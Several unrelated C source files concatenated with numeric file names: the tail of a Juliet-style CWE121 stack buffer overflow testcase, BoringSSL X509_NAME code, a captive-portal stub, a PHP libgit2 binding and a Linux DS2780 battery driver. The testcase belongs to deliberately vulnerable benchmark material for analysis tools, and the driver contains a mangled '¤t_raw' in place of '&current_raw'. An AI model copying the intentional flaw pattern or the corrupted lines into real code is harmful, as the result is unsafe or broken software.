CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67b_bad_sink(my_struct);
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B uses the GoodSource with the BadSink */
void CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67b_goodG2B_sink(CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_struct_type my_struct);
static void goodG2B()
{
char * data;
CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_struct_type my_struct;
char data_badbuf[50];
char data_goodbuf[100];
/* FIX: Set a pointer to a "large" buffer, thus avoiding buffer overflows in the sinks. */
data = data_goodbuf;
data[0] = '\0'; /* null terminate */
my_struct.a = data;
CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67b_goodG2B_sink(my_struct);
}
void CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_good()
{
goodG2B();
}
#endif /* OMITGOOD */
/* Below is the main(). It is only used when building this testcase on
its own for testing or for building a binary to use in testing binary
analysis tools. It is not used when compiling all the testcases as one
application, which is how source code analysis tools are tested. */
#ifdef INCLUDEMAIN
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
CWE121_Stack_Based_Buffer_Overflow__dest_char_declare_loop_67_bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
172233.c | /* Copyright (C) 1995-1998 Eric Young ([email protected])
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young ([email protected]).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson ([email protected]).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young ([email protected])"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson ([email protected])"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.] */
#include <ctype.h>
#include <string.h>
#include <CBoringSSL_asn1.h>
#include <CBoringSSL_asn1t.h>
#include <CBoringSSL_buf.h>
#include <CBoringSSL_err.h>
#include <CBoringSSL_mem.h>
#include <CBoringSSL_obj.h>
#include <CBoringSSL_stack.h>
#include <CBoringSSL_x509.h>
#include "../asn1/asn1_locl.h"
#include "../internal.h"
typedef STACK_OF(X509_NAME_ENTRY) STACK_OF_X509_NAME_ENTRY;
DEFINE_STACK_OF(STACK_OF_X509_NAME_ENTRY)
/*
* Maximum length of X509_NAME: much larger than anything we should
* ever see in practice.
*/
#define X509_NAME_MAX (1024 * 1024)
static int x509_name_ex_d2i(ASN1_VALUE **val,
const unsigned char **in, long len,
const ASN1_ITEM *it,
int tag, int aclass, char opt, ASN1_TLC *ctx);
static int x509_name_ex_i2d(ASN1_VALUE **val, unsigned char **out,
const ASN1_ITEM *it, int tag, int aclass);
static int x509_name_ex_new(ASN1_VALUE **val, const ASN1_ITEM *it);
static void x509_name_ex_free(ASN1_VALUE **val, const ASN1_ITEM *it);
static int x509_name_encode(X509_NAME *a);
static int x509_name_canon(X509_NAME *a);
static int asn1_string_canon(ASN1_STRING *out, ASN1_STRING *in);
static int i2d_name_canon(STACK_OF(STACK_OF_X509_NAME_ENTRY) * intname,
unsigned char **in);
ASN1_SEQUENCE(X509_NAME_ENTRY) = {
ASN1_SIMPLE(X509_NAME_ENTRY, object, ASN1_OBJECT),
ASN1_SIMPLE(X509_NAME_ENTRY, value, ASN1_PRINTABLE)
} ASN1_SEQUENCE_END(X509_NAME_ENTRY)
IMPLEMENT_ASN1_FUNCTIONS(X509_NAME_ENTRY)
IMPLEMENT_ASN1_DUP_FUNCTION(X509_NAME_ENTRY)
/*
* For the "Name" type we need a SEQUENCE OF { SET OF X509_NAME_ENTRY } so
* declare two template wrappers for this
*/
ASN1_ITEM_TEMPLATE(X509_NAME_ENTRIES) =
ASN1_EX_TEMPLATE_TYPE(ASN1_TFLG_SET_OF, 0, RDNS, X509_NAME_ENTRY)
ASN1_ITEM_TEMPLATE_END(X509_NAME_ENTRIES)
ASN1_ITEM_TEMPLATE(X509_NAME_INTERNAL) =
ASN1_EX_TEMPLATE_TYPE(ASN1_TFLG_SEQUENCE_OF, 0, Name, X509_NAME_ENTRIES)
ASN1_ITEM_TEMPLATE_END(X509_NAME_INTERNAL)
/*
* Normally that's where it would end: we'd have two nested STACK structures
* representing the ASN1. Unfortunately X509_NAME uses a completely different
* form and caches encodings so we have to process the internal form and
* convert to the external form.
*/
static const ASN1_EXTERN_FUNCS x509_name_ff = {
NULL,
x509_name_ex_new,
x509_name_ex_free,
0, /* Default clear behaviour is OK */
x509_name_ex_d2i,
x509_name_ex_i2d,
NULL,
};
IMPLEMENT_EXTERN_ASN1(X509_NAME, V_ASN1_SEQUENCE, x509_name_ff)
IMPLEMENT_ASN1_FUNCTIONS(X509_NAME)
IMPLEMENT_ASN1_DUP_FUNCTION(X509_NAME)
static int x509_name_ex_new(ASN1_VALUE **val, const ASN1_ITEM *it)
{
X509_NAME *ret = NULL;
ret = OPENSSL_malloc(sizeof(X509_NAME));
if (!ret)
goto memerr;
if ((ret->entries = sk_X509_NAME_ENTRY_new_null()) == NULL)
goto memerr;
if ((ret->bytes = BUF_MEM_new()) == NULL)
goto memerr;
ret->canon_enc = NULL;
ret->canon_enclen = 0;
ret->modified = 1;
*val = (ASN1_VALUE *)ret;
return 1;
memerr:
OPENSSL_PUT_ERROR(X509, ERR_R_MALLOC_FAILURE);
if (ret) {
if (ret->entries)
sk_X509_NAME_ENTRY_free(ret->entries);
OPENSSL_free(ret);
}
return 0;
}
static void x509_name_ex_free(ASN1_VALUE **pval, const ASN1_ITEM *it)
{
X509_NAME *a;
if (!pval || !*pval)
return;
a = (X509_NAME *)*pval;
BUF_MEM_free(a->bytes);
sk_X509_NAME_ENTRY_pop_free(a->entries, X509_NAME_ENTRY_free);
if (a->canon_enc)
OPENSSL_free(a->canon_enc);
OPENSSL_free(a);
*pval = NULL;
}
static void local_sk_X509_NAME_ENTRY_free(STACK_OF(X509_NAME_ENTRY) *ne)
{
sk_X509_NAME_ENTRY_free(ne);
}
static void local_sk_X509_NAME_ENTRY_pop_free(STACK_OF(X509_NAME_ENTRY) *ne)
{
sk_X509_NAME_ENTRY_pop_free(ne, X509_NAME_ENTRY_free);
}
static int x509_name_ex_d2i(ASN1_VALUE **val,
const unsigned char **in, long len,
const ASN1_ITEM *it, int tag, int aclass,
char opt, ASN1_TLC *ctx)
{
const unsigned char *p = *in, *q;
STACK_OF(STACK_OF_X509_NAME_ENTRY) *intname = NULL;
X509_NAME *nm = NULL;
size_t i, j;
int ret;
STACK_OF(X509_NAME_ENTRY) *entries;
X509_NAME_ENTRY *entry;
/* Bound the size of an X509_NAME we are willing to parse. */
if (len > X509_NAME_MAX) {
len = X509_NAME_MAX;
}
q = p;
/* Get internal representation of Name */
ASN1_VALUE *intname_val = NULL;
ret = ASN1_item_ex_d2i(&intname_val,
&p, len, ASN1_ITEM_rptr(X509_NAME_INTERNAL),
tag, aclass, opt, ctx);
if (ret <= 0)
return ret;
intname = (STACK_OF(STACK_OF_X509_NAME_ENTRY) *)intname_val;
if (*val)
x509_name_ex_free(val, NULL);
ASN1_VALUE *nm_val = NULL;
if (!x509_name_ex_new(&nm_val, NULL))
goto err;
nm = (X509_NAME *)nm_val;
/* We've decoded it: now cache encoding */
if (!BUF_MEM_grow(nm->bytes, p - q))
goto err;
OPENSSL_memcpy(nm->bytes->data, q, p - q);
/* Convert internal representation to X509_NAME structure */
for (i = 0; i < sk_STACK_OF_X509_NAME_ENTRY_num(intname); i++) {
entries = sk_STACK_OF_X509_NAME_ENTRY_value(intname, i);
for (j = 0; j < sk_X509_NAME_ENTRY_num(entries); j++) {
entry = sk_X509_NAME_ENTRY_value(entries, j);
entry->set = i;
if (!sk_X509_NAME_ENTRY_push(nm->entries, entry))
goto err;
(void)sk_X509_NAME_ENTRY_set(entries, j, NULL);
}
}
ret = x509_name_canon(nm);
if (!ret)
goto err;
sk_STACK_OF_X509_NAME_ENTRY_pop_free(intname,
local_sk_X509_NAME_ENTRY_free);
nm->modified = 0;
*val = (ASN1_VALUE *)nm;
*in = p;
return ret;
err:
X509_NAME_free(nm);
sk_STACK_OF_X509_NAME_ENTRY_pop_free(intname,
local_sk_X509_NAME_ENTRY_pop_free);
OPENSSL_PUT_ERROR(X509, ERR_R_ASN1_LIB);
return 0;
}
static int x509_name_ex_i2d(ASN1_VALUE **val, unsigned char **out,
const ASN1_ITEM *it, int tag, int aclass)
{
int ret;
X509_NAME *a = (X509_NAME *)*val;
if (a->modified) {
ret = x509_name_encode(a);
if (ret < 0)
return ret;
ret = x509_name_canon(a);
if (ret < 0)
return ret;
}
ret = a->bytes->length;
if (out != NULL) {
OPENSSL_memcpy(*out, a->bytes->data, ret);
*out += ret;
}
return ret;
}
static int x509_name_encode(X509_NAME *a)
{
int len;
unsigned char *p;
STACK_OF(X509_NAME_ENTRY) *entries = NULL;
X509_NAME_ENTRY *entry;
int set = -1;
size_t i;
STACK_OF(STACK_OF_X509_NAME_ENTRY) *intname =
sk_STACK_OF_X509_NAME_ENTRY_new_null();
if (!intname)
goto memerr;
for (i = 0; i < sk_X509_NAME_ENTRY_num(a->entries); i++) {
entry = sk_X509_NAME_ENTRY_value(a->entries, i);
if (entry->set != set) {
entries = sk_X509_NAME_ENTRY_new_null();
if (!entries)
goto memerr;
if (!sk_STACK_OF_X509_NAME_ENTRY_push(intname, entries)) {
sk_X509_NAME_ENTRY_free(entries);
goto memerr;
}
set = entry->set;
}
if (!sk_X509_NAME_ENTRY_push(entries, entry))
goto memerr;
}
ASN1_VALUE *intname_val = (ASN1_VALUE *)intname;
len = ASN1_item_ex_i2d(&intname_val, NULL,
ASN1_ITEM_rptr(X509_NAME_INTERNAL), -1, -1);
if (!BUF_MEM_grow(a->bytes, len))
goto memerr;
p = (unsigned char *)a->bytes->data;
ASN1_item_ex_i2d(&intname_val,
&p, ASN1_ITEM_rptr(X509_NAME_INTERNAL), -1, -1);
sk_STACK_OF_X509_NAME_ENTRY_pop_free(intname,
local_sk_X509_NAME_ENTRY_free);
a->modified = 0;
return len;
memerr:
sk_STACK_OF_X509_NAME_ENTRY_pop_free(intname,
local_sk_X509_NAME_ENTRY_free);
OPENSSL_PUT_ERROR(X509, ERR_R_MALLOC_FAILURE);
return -1;
}
/*
* This function generates the canonical encoding of the Name structure. In
* it all strings are converted to UTF8, leading, trailing and multiple
* spaces collapsed, converted to lower case and the leading SEQUENCE header
* removed. In future we could also normalize the UTF8 too. By doing this
* comparison of Name structures can be rapidly perfomed by just using
* OPENSSL_memcmp() of the canonical encoding. By omitting the leading SEQUENCE name
* constraints of type dirName can also be checked with a simple OPENSSL_memcmp().
*/
static int x509_name_canon(X509_NAME *a)
{
unsigned char *p;
STACK_OF(STACK_OF_X509_NAME_ENTRY) *intname = NULL;
STACK_OF(X509_NAME_ENTRY) *entries = NULL;
X509_NAME_ENTRY *entry, *tmpentry = NULL;
int set = -1, ret = 0, len;
size_t i;
if (a->canon_enc) {
OPENSSL_free(a->canon_enc);
a->canon_enc = NULL;
}
/* Special case: empty X509_NAME => null encoding */
if (sk_X509_NAME_ENTRY_num(a->entries) == 0) {
a->canon_enclen = 0;
return 1;
}
intname = sk_STACK_OF_X509_NAME_ENTRY_new_null();
if (!intname)
goto err;
for (i = 0; i < sk_X509_NAME_ENTRY_num(a->entries); i++) {
entry = sk_X509_NAME_ENTRY_value(a->entries, i);
if (entry->set != set) {
entries = sk_X509_NAME_ENTRY_new_null();
if (!entries)
goto err;
if (!sk_STACK_OF_X509_NAME_ENTRY_push(intname, entries)) {
sk_X509_NAME_ENTRY_free(entries);
goto err;
}
set = entry->set;
}
tmpentry = X509_NAME_ENTRY_new();
if (tmpentry == NULL)
goto err;
tmpentry->object = OBJ_dup(entry->object);
if (!asn1_string_canon(tmpentry->value, entry->value))
goto err;
if (!sk_X509_NAME_ENTRY_push(entries, tmpentry))
goto err;
tmpentry = NULL;
}
/* Finally generate encoding */
len = i2d_name_canon(intname, NULL);
if (len < 0) {
goto err;
}
a->canon_enclen = len;
p = OPENSSL_malloc(a->canon_enclen);
if (!p)
goto err;
a->canon_enc = p;
i2d_name_canon(intname, &p);
ret = 1;
err:
if (tmpentry)
X509_NAME_ENTRY_free(tmpentry);
if (intname)
sk_STACK_OF_X509_NAME_ENTRY_pop_free(intname,
local_sk_X509_NAME_ENTRY_pop_free);
return ret;
}
/* Bitmap of all the types of string that will be canonicalized. */
#define ASN1_MASK_CANON \
(B_ASN1_UTF8STRING | B_ASN1_BMPSTRING | B_ASN1_UNIVERSALSTRING \
| B_ASN1_PRINTABLESTRING | B_ASN1_T61STRING | B_ASN1_IA5STRING \
| B_ASN1_VISIBLESTRING)
static int asn1_string_canon(ASN1_STRING *out, ASN1_STRING *in)
{
unsigned char *to, *from;
int len, i;
/* If type not in bitmask just copy string across */
if (!(ASN1_tag2bit(in->type) & ASN1_MASK_CANON)) {
if (!ASN1_STRING_copy(out, in))
return 0;
return 1;
}
out->type = V_ASN1_UTF8STRING;
out->length = ASN1_STRING_to_UTF8(&out->data, in);
if (out->length == -1)
return 0;
to = out->data;
from = to;
len = out->length;
/*
* Convert string in place to canonical form. Ultimately we may need to
* handle a wider range of characters but for now ignore anything with
* MSB set and rely on the isspace() and tolower() functions.
*/
/* Ignore leading spaces */
while ((len > 0) && !(*from & 0x80) && isspace(*from)) {
from++;
len--;
}
to = from + len;
/* Ignore trailing spaces */
while ((len > 0) && !(to[-1] & 0x80) && isspace(to[-1])) {
to--;
len--;
}
to = out->data;
i = 0;
while (i < len) {
/* If MSB set just copy across */
if (*from & 0x80) {
*to++ = *from++;
i++;
}
/* Collapse multiple spaces */
else if (isspace(*from)) {
/* Copy one space across */
*to++ = ' ';
/*
* Ignore subsequent spaces. Note: don't need to check len here
* because we know the last character is a non-space so we can't
* overflow.
*/
do {
from++;
i++;
}
while (!(*from & 0x80) && isspace(*from));
} else {
*to++ = OPENSSL_tolower(*from);
from++;
i++;
}
}
out->length = to - out->data;
return 1;
}
static int i2d_name_canon(STACK_OF(STACK_OF_X509_NAME_ENTRY) * _intname,
unsigned char **in)
{
int len, ltmp;
size_t i;
ASN1_VALUE *v;
STACK_OF(ASN1_VALUE) *intname = (STACK_OF(ASN1_VALUE) *)_intname;
len = 0;
for (i = 0; i < sk_ASN1_VALUE_num(intname); i++) {
v = sk_ASN1_VALUE_value(intname, i);
ltmp = ASN1_item_ex_i2d(&v, in,
ASN1_ITEM_rptr(X509_NAME_ENTRIES), -1, -1);
if (ltmp < 0)
return ltmp;
len += ltmp;
}
return len;
}
int X509_NAME_set(X509_NAME **xn, X509_NAME *name)
{
if ((name = X509_NAME_dup(name)) == NULL)
return 0;
X509_NAME_free(*xn);
*xn = name;
return 1;
}
IMPLEMENT_ASN1_SET_OF(X509_NAME_ENTRY)
int X509_NAME_ENTRY_set(const X509_NAME_ENTRY *ne)
{
return ne->set;
}
int X509_NAME_get0_der(X509_NAME *nm, const unsigned char **pder,
size_t *pderlen)
{
/* Make sure encoding is valid */
if (i2d_X509_NAME(nm, NULL) <= 0)
return 0;
if (pder != NULL)
*pder = (unsigned char *)nm->bytes->data;
if (pderlen != NULL)
*pderlen = nm->bytes->length;
return 1;
}
|
155575.c | #include <tiny_socket.h>
#include <tiny_snprintf.h>
#include <CaptivePortal.h>
static void runCaptivePortal(void)
{
uint32_t ip = 0;
uint8_t *a = (uint8_t *) &ip;
CaptivePortal * cp = CaptivePortal_New(NULL, NULL);
if (cp == NULL)
{
printf("CaptivePortal_New failed\n");
return;
}
a[0] = 10;
a[1] = 0;
a[2] = 1;
a[3] = 29;
CaptivePortal_Run(cp, ip);
}
int main(void)
{
tiny_socket_initialize();
runCaptivePortal();
tiny_socket_finalize();
return 0;
}
|
315727.c |
#include <php.h>
#include <git2.h>
#include "php_git2_internal.h"
PHP_FUNCTION(git_remote_create_anonymous)
{
int libRet;
zend_result zendParse;
zval *zrepository;
zend_class_entry *ceRepository;
zend_string *url;
struct php_git2_repository *repository;
git_remote *remote;
zend_object *zendObj;
libRet = 0;
ceRepository = php_git2_get_repository_ce();
zendParse = zend_parse_parameters(ZEND_NUM_ARGS(), "OS", \
&zrepository, ceRepository, &url);
if (zendParse != SUCCESS)
RETURN_THROWS();
repository = gitrep_fetch_object(Z_OBJ_P(zrepository));
libRet = git_remote_create_anonymous(&remote, repository->s, ZSTR_VAL(url));
if (libRet != GIT_OK)
RETURN_LIBGIT2_ERROR(libRet);
zendObj = gitrem_new(remote);
RETURN_OBJ(zendObj);
}
|
332061.c | // SPDX-License-Identifier: GPL-2.0-only
/*
* 1-wire client/driver for the Maxim/Dallas DS2780 Stand-Alone Fuel Gauge IC
*
* Copyright (C) 2010 Indesign, LLC
*
* Author: Clifton Barnes <[email protected]>
*
* Based on ds2760_battery and ds2782_battery drivers
*/
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/param.h>
#include <linux/pm.h>
#include <linux/platform_device.h>
#include <linux/power_supply.h>
#include <linux/idr.h>
#include <linux/w1.h>
#include "../../w1/slaves/w1_ds2780.h"
/* Current unit measurement in uA for a 1 milli-ohm sense resistor */
#define DS2780_CURRENT_UNITS 1563
/* Charge unit measurement in uAh for a 1 milli-ohm sense resistor */
#define DS2780_CHARGE_UNITS 6250
/* Number of bytes in user EEPROM space */
#define DS2780_USER_EEPROM_SIZE (DS2780_EEPROM_BLOCK0_END - \
DS2780_EEPROM_BLOCK0_START + 1)
/* Number of bytes in parameter EEPROM space */
#define DS2780_PARAM_EEPROM_SIZE (DS2780_EEPROM_BLOCK1_END - \
DS2780_EEPROM_BLOCK1_START + 1)
struct ds2780_device_info {
struct device *dev;
struct power_supply *bat;
struct power_supply_desc bat_desc;
struct device *w1_dev;
};
enum current_types {
CURRENT_NOW,
CURRENT_AVG,
};
static const char model[] = "DS2780";
static const char manufacturer[] = "Maxim/Dallas";
static inline struct ds2780_device_info *
to_ds2780_device_info(struct power_supply *psy)
{
return power_supply_get_drvdata(psy);
}
static inline int ds2780_battery_io(struct ds2780_device_info *dev_info,
char *buf, int addr, size_t count, int io)
{
return w1_ds2780_io(dev_info->w1_dev, buf, addr, count, io);
}
static inline int ds2780_read8(struct ds2780_device_info *dev_info, u8 *val,
int addr)
{
return ds2780_battery_io(dev_info, val, addr, sizeof(u8), 0);
}
static int ds2780_read16(struct ds2780_device_info *dev_info, s16 *val,
int addr)
{
int ret;
u8 raw[2];
ret = ds2780_battery_io(dev_info, raw, addr, sizeof(raw), 0);
if (ret < 0)
return ret;
*val = (raw[0] << 8) | raw[1];
return 0;
}
static inline int ds2780_read_block(struct ds2780_device_info *dev_info,
u8 *val, int addr, size_t count)
{
return ds2780_battery_io(dev_info, val, addr, count, 0);
}
static inline int ds2780_write(struct ds2780_device_info *dev_info, u8 *val,
int addr, size_t count)
{
return ds2780_battery_io(dev_info, val, addr, count, 1);
}
static inline int ds2780_store_eeprom(struct device *dev, int addr)
{
return w1_ds2780_eeprom_cmd(dev, addr, W1_DS2780_COPY_DATA);
}
static inline int ds2780_recall_eeprom(struct device *dev, int addr)
{
return w1_ds2780_eeprom_cmd(dev, addr, W1_DS2780_RECALL_DATA);
}
static int ds2780_save_eeprom(struct ds2780_device_info *dev_info, int reg)
{
int ret;
ret = ds2780_store_eeprom(dev_info->w1_dev, reg);
if (ret < 0)
return ret;
ret = ds2780_recall_eeprom(dev_info->w1_dev, reg);
if (ret < 0)
return ret;
return 0;
}
/* Set sense resistor value in mhos */
static int ds2780_set_sense_register(struct ds2780_device_info *dev_info,
u8 conductance)
{
int ret;
ret = ds2780_write(dev_info, &conductance,
DS2780_RSNSP_REG, sizeof(u8));
if (ret < 0)
return ret;
return ds2780_save_eeprom(dev_info, DS2780_RSNSP_REG);
}
/* Get RSGAIN value from 0 to 1.999 in steps of 0.001 */
static int ds2780_get_rsgain_register(struct ds2780_device_info *dev_info,
u16 *rsgain)
{
return ds2780_read16(dev_info, rsgain, DS2780_RSGAIN_MSB_REG);
}
/* Set RSGAIN value from 0 to 1.999 in steps of 0.001 */
static int ds2780_set_rsgain_register(struct ds2780_device_info *dev_info,
u16 rsgain)
{
int ret;
u8 raw[] = {rsgain >> 8, rsgain & 0xFF};
ret = ds2780_write(dev_info, raw,
DS2780_RSGAIN_MSB_REG, sizeof(raw));
if (ret < 0)
return ret;
return ds2780_save_eeprom(dev_info, DS2780_RSGAIN_MSB_REG);
}
static int ds2780_get_voltage(struct ds2780_device_info *dev_info,
int *voltage_uV)
{
int ret;
s16 voltage_raw;
/*
* The voltage value is located in 10 bits across the voltage MSB
* and LSB registers in two's complement form
* Sign bit of the voltage value is in bit 7 of the voltage MSB register
* Bits 9 - 3 of the voltage value are in bits 6 - 0 of the
* voltage MSB register
* Bits 2 - 0 of the voltage value are in bits 7 - 5 of the
* voltage LSB register
*/
ret = ds2780_read16(dev_info, &voltage_raw,
DS2780_VOLT_MSB_REG);
if (ret < 0)
return ret;
/*
* DS2780 reports voltage in units of 4.88mV, but the battery class
* reports in units of uV, so convert by multiplying by 4880.
*/
*voltage_uV = (voltage_raw / 32) * 4880;
return 0;
}
static int ds2780_get_temperature(struct ds2780_device_info *dev_info,
int *temperature)
{
int ret;
s16 temperature_raw;
/*
* The temperature value is located in 10 bits across the temperature
* MSB and LSB registers in two's complement form
* Sign bit of the temperature value is in bit 7 of the temperature
* MSB register
* Bits 9 - 3 of the temperature value are in bits 6 - 0 of the
* temperature MSB register
* Bits 2 - 0 of the temperature value are in bits 7 - 5 of the
* temperature LSB register
*/
ret = ds2780_read16(dev_info, &temperature_raw,
DS2780_TEMP_MSB_REG);
if (ret < 0)
return ret;
/*
* Temperature is measured in units of 0.125 degrees celcius, the
* power_supply class measures temperature in tenths of degrees
* celsius. The temperature value is stored as a 10 bit number, plus
* sign in the upper bits of a 16 bit register.
*/
*temperature = ((temperature_raw / 32) * 125) / 100;
return 0;
}
static int ds2780_get_current(struct ds2780_device_info *dev_info,
enum current_types type, int *current_uA)
{
int ret, sense_res;
s16 current_raw;
u8 sense_res_raw, reg_msb;
/*
* The units of measurement for current are dependent on the value of
* the sense resistor.
*/
ret = ds2780_read8(dev_info, &sense_res_raw, DS2780_RSNSP_REG);
if (ret < 0)
return ret;
if (sense_res_raw == 0) {
dev_err(dev_info->dev, "sense resistor value is 0\n");
return -EINVAL;
}
sense_res = 1000 / sense_res_raw;
if (type == CURRENT_NOW)
reg_msb = DS2780_CURRENT_MSB_REG;
else if (type == CURRENT_AVG)
reg_msb = DS2780_IAVG_MSB_REG;
else
return -EINVAL;
/*
* The current value is located in 16 bits across the current MSB
* and LSB registers in two's complement form
* Sign bit of the current value is in bit 7 of the current MSB register
* Bits 14 - 8 of the current value are in bits 6 - 0 of the current
* MSB register
* Bits 7 - 0 of the current value are in bits 7 - 0 of the current
* LSB register
*/
ret = ds2780_read16(dev_info, ¤t_raw, reg_msb);
if (ret < 0)
return ret;
*current_uA = current_raw * (DS2780_CURRENT_UNITS / sense_res);
return 0;
}
static int ds2780_get_accumulated_current(struct ds2780_device_info *dev_info,
int *accumulated_current)
{
int ret, sense_res;
s16 current_raw;
u8 sense_res_raw;
/*
* The units of measurement for accumulated current are dependent on
* the value of the sense resistor.
*/
ret = ds2780_read8(dev_info, &sense_res_raw, DS2780_RSNSP_REG);
if (ret < 0)
return ret;
if (sense_res_raw == 0) {
dev_err(dev_info->dev, "sense resistor value is 0\n");
return -ENXIO;
}
sense_res = 1000 / sense_res_raw;
/*
* The ACR value is located in 16 bits across the ACR MSB and
* LSB registers
* Bits 15 - 8 of the ACR value are in bits 7 - 0 of the ACR
* MSB register
* Bits 7 - 0 of the ACR value are in bits 7 - 0 of the ACR
* LSB register
*/
ret = ds2780_read16(dev_info, ¤t_raw, DS2780_ACR_MSB_REG);
if (ret < 0)
return ret;
*accumulated_current = current_raw * (DS2780_CHARGE_UNITS / sense_res);
return 0;
}
static int ds2780_get_capacity(struct ds2780_device_info *dev_info,
int *capacity)
{
int ret;
u8 raw;
ret = ds2780_read8(dev_info, &raw, DS2780_RARC_REG);
if (ret < 0)
return ret;
*capacity = raw;
return raw;
}
static int ds2780_get_status(struct ds2780_device_info *dev_info, int *status)
{
int ret, current_uA, capacity;
ret = ds2780_get_current(dev_info, CURRENT_NOW, ¤t_uA);
if (ret < 0)
return ret;
ret = ds2780_get_capacity(dev_info, &capacity);
if (ret < 0)
return ret;
if (capacity == 100)
*status = POWER_SUPPLY_STATUS_FULL;
else if (current_uA == 0)
*status = POWER_SUPPLY_STATUS_NOT_CHARGING;
else if (current_uA < 0)
*status = POWER_SUPPLY_STATUS_DISCHARGING;
else
*status = POWER_SUPPLY_STATUS_CHARGING;
return 0;
}
static int ds2780_get_charge_now(struct ds2780_device_info *dev_info,
int *charge_now)
{
int ret;
u16 charge_raw;
/*
* The RAAC value is located in 16 bits across the RAAC MSB and
* LSB registers
* Bits 15 - 8 of the RAAC value are in bits 7 - 0 of the RAAC
* MSB register
* Bits 7 - 0 of the RAAC value are in bits 7 - 0 of the RAAC
* LSB register
*/
ret = ds2780_read16(dev_info, &charge_raw, DS2780_RAAC_MSB_REG);
if (ret < 0)
return ret;
*charge_now = charge_raw * 1600;
return 0;
}
static int ds2780_get_control_register(struct ds2780_device_info *dev_info,
u8 *control_reg)
{
return ds2780_read8(dev_info, control_reg, DS2780_CONTROL_REG);
}
static int ds2780_set_control_register(struct ds2780_device_info *dev_info,
u8 control_reg)
{
int ret;
ret = ds2780_write(dev_info, &control_reg,
DS2780_CONTROL_REG, sizeof(u8));
if (ret < 0)
return ret;
return ds2780_save_eeprom(dev_info, DS2780_CONTROL_REG);
}
static int ds2780_battery_get_property(struct power_supply *psy,
enum power_supply_property psp,
union power_supply_propval *val)
{
int ret = 0;
struct ds2780_device_info *dev_info = to_ds2780_device_info(psy);
switch (psp) {
case POWER_SUPPLY_PROP_VOLTAGE_NOW:
ret = ds2780_get_voltage(dev_info, &val->intval);
break;
case POWER_SUPPLY_PROP_TEMP:
ret = ds2780_get_temperature(dev_info, &val->intval);
break;
case POWER_SUPPLY_PROP_MODEL_NAME:
val->strval = model;
break;
case POWER_SUPPLY_PROP_MANUFACTURER:
val->strval = manufacturer;
break;
case POWER_SUPPLY_PROP_CURRENT_NOW:
ret = ds2780_get_current(dev_info, CURRENT_NOW, &val->intval);
break;
case POWER_SUPPLY_PROP_CURRENT_AVG:
ret = ds2780_get_current(dev_info, CURRENT_AVG, &val->intval);
break;
case POWER_SUPPLY_PROP_STATUS:
ret = ds2780_get_status(dev_info, &val->intval);
break;
case POWER_SUPPLY_PROP_CAPACITY:
ret = ds2780_get_capacity(dev_info, &val->intval);
break;
case POWER_SUPPLY_PROP_CHARGE_COUNTER:
ret = ds2780_get_accumulated_current(dev_info, &val->intval);
break;
case POWER_SUPPLY_PROP_CHARGE_NOW:
ret = ds2780_get_charge_now(dev_info, &val->intval);
break;
default:
ret = -EINVAL;
}
return ret;
}
static enum power_supply_property ds2780_battery_props[] = {
POWER_SUPPLY_PROP_STATUS,
POWER_SUPPLY_PROP_VOLTAGE_NOW,
POWER_SUPPLY_PROP_TEMP,
POWER_SUPPLY_PROP_MODEL_NAME,
POWER_SUPPLY_PROP_MANUFACTURER,
POWER_SUPPLY_PROP_CURRENT_NOW,
POWER_SUPPLY_PROP_CURRENT_AVG,
POWER_SUPPLY_PROP_CAPACITY,
POWER_SUPPLY_PROP_CHARGE_COUNTER,
POWER_SUPPLY_PROP_CHARGE_NOW,
};
